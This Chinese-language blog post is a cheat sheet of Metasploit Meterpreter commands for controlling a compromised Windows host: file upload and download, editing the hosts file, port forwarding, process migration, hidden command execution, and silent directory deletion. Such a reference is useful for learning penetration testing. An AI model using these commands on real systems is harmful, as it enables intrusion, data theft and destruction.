Meterpreter常用命令介绍
2017-12-18 23:35
141 查看
基本命令
命令 | 解释 |
---|---|
background | 将meterpreter终端隐藏在后台(快捷键ctrl+z) |
sessions | 查看已经成功获得的会话,如果想继续与某会话交互,可以使用sessions -i 命令. |
quit | 直接关闭当前的meterpreter会话,返回MSF终端. |
shell | 获取目标系统的控制台shell. |
irb | 在meterpreter会话与ruby终端交互 |
文件系统命令
命令 | 解释 |
---|---|
cat | 查看文件内容. |
getwd | 获得目标机器上当前的工作目录,getlwd,这个命令可以获得当前系统的工作目录. |
upload | 可以上传文件或文件夹到目标机器上;upload 要上传的文件 C:\Users\buzz\Desktop |
download | 从目标机器上下载文件或文件夹,注意windows路径要用双斜杠进行转义. download C:\test.txt /root/home/test |
edit | 调用vi编辑器,对目标机器上的文件进行编辑;edit c:\windows\system32\drivers\etc\hosts |
search | 可通过search -h查看帮助信息,参数-d指定搜索的起始目录或驱动,如果为空,将进行全盘搜索;参数-f指定搜索的文件或部分文件名,支持星号()匹配;参数-r递归搜索子目录 search -d c:\windows -f .txt |
rm | 删除目标机器的文件. |
rmdir /s/q c:\test | 进入shell后使用此命令可以删除目录下的所有文件和文件夹,/s表示所有子目录和文件/q表示安静模式,不显示yes or no. |
网络命令
命令 | 解释 |
---|---|
ipconfig | 查看目标机器网络接口信息 |
portfwd | 它是meterpreter自带的端口转发器,用于把目标机器的端口转发到本地端口;假设目标机开放了3389端口,使用如下命令将其转发到本地3456端口:portfwd add -l 3456 -p 3389 -r 192.168.88.110 |
rdesktop -u 用户名 -p 密码 ip:端口 | 连接开启远程桌面的windows系统. |
route | 显示目标机器的路由信息. |
系统命令
命令 | 解释 |
---|---|
ps | 用于获得目标主机上正在运行的进程信息. |
migrate pid | 将Meterpreter会话从一个进程迁移到另一个进程的内存空间中,可以配合ps -ef |grep explorer.exe |
execute | 在目标机器上执行文件. execute -H -i -f cmd.exe 直接与cmd进行交互. 参数-H 表示隐藏执行 -i 表示直接与cmd交互. |
getpid | 获得当前会话所在进程的PID值. |
kill | 用于终结指定的PID进程. |
getuid | 用于获得运行meterpreter会话的用户名,从而查看当前会话具有的权限. |
sysinfo | 用于得到目标系统的一些信息,例如机器名,操作系统等 |
shutdown | 用于关闭机器,meterpreter会话会断开. |
具体参数介绍:
Executes a command on the remote machine.
OPTIONS:
-H Create the process hidden from view.
-a The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d The ‘dummy’ executable to launch when using -m.
-f The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-s Execute process in a given session as the session user
-t Execute process with currently impersonated thread token
相关文章推荐
- 总结CMake的常用命令,并介绍有用的CMake资源
- Ubuntu下用glade和GTK+开发C语言界面程序(二)——gcc常用命令介绍
- YUM常用命令介绍
- Go语言常用命令介绍
- Meterpreter常用命令介绍
- sftp常用命令介绍
- Hadoop之HDFS的简单介绍及常用命令
- Oracle 的 Sql*Plus 常用命令介绍
- Linux下find和grep常用命令及区别介绍
- android adb 常用命令使用介绍 (【un】install push pull logcat devices remount shell monkey)
- Linux文件查看/编辑方法介绍-putty常用命令
- HBase介绍(4)---常用shell命令
- 详解webpack介绍&安装&常用命令
- cur常用命令的介绍l
- vi编辑器工作模式及常用操作命令介绍
- 常用U-BOOT命令介绍
- maven常用命令介绍
- Redis常用数据类型介绍、使用场景及其操作命令
- Linux下最常用的Shell命令的介绍
- Redis常用命令四-配置文件介绍